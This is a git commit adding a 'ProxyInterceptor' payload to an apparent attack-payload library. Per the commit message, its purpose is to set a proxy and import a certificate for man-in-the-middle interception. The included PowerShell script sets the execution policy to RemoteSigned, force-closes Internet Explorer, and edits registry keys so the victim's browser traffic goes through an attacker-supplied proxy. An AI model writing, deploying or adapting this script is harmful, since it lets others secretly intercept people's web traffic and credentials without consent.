Added ProxyInterceptor payload (#82)

* Sets specified proxy and imports certificate for  MITM

* Update cert.pem

* Update README.md

* Update README.md

* Update README.md

* Update README.md

* Update README.md

* Update vars.ps1

* Update payload.txt

* Update README.md

* Update README.md

payloads/library/Proxy_Interceptor/SetProxy.ps1

@@ -0,0 +1,19 @@
+#Import variables from vars.ps1 for use.
+. .\vars.ps1
+
+#Change the Execution Policy to RemoteSigned and see if Internet Explorere is running and if so close it.
+Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
+$ieProcess = Get-Process iexplore -ErrorAction SilentlyContinue
+if ($ieProcess) {
+	$ieProcess.CloseMainWindow()
+Sleep 5
+if (!$ieProcess.HasExited) {
+    $ieProcess | Stop-Process -Force
+  }
+}
+Remove-Variable ieProcess
+
+#Change the proxy settings in the registry
+$regKey="HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
+Set-ItemProperty -path $regKey ProxyEnable -value 1
+Set-ItemProperty -path $regKey ProxyServer -value $proxyVal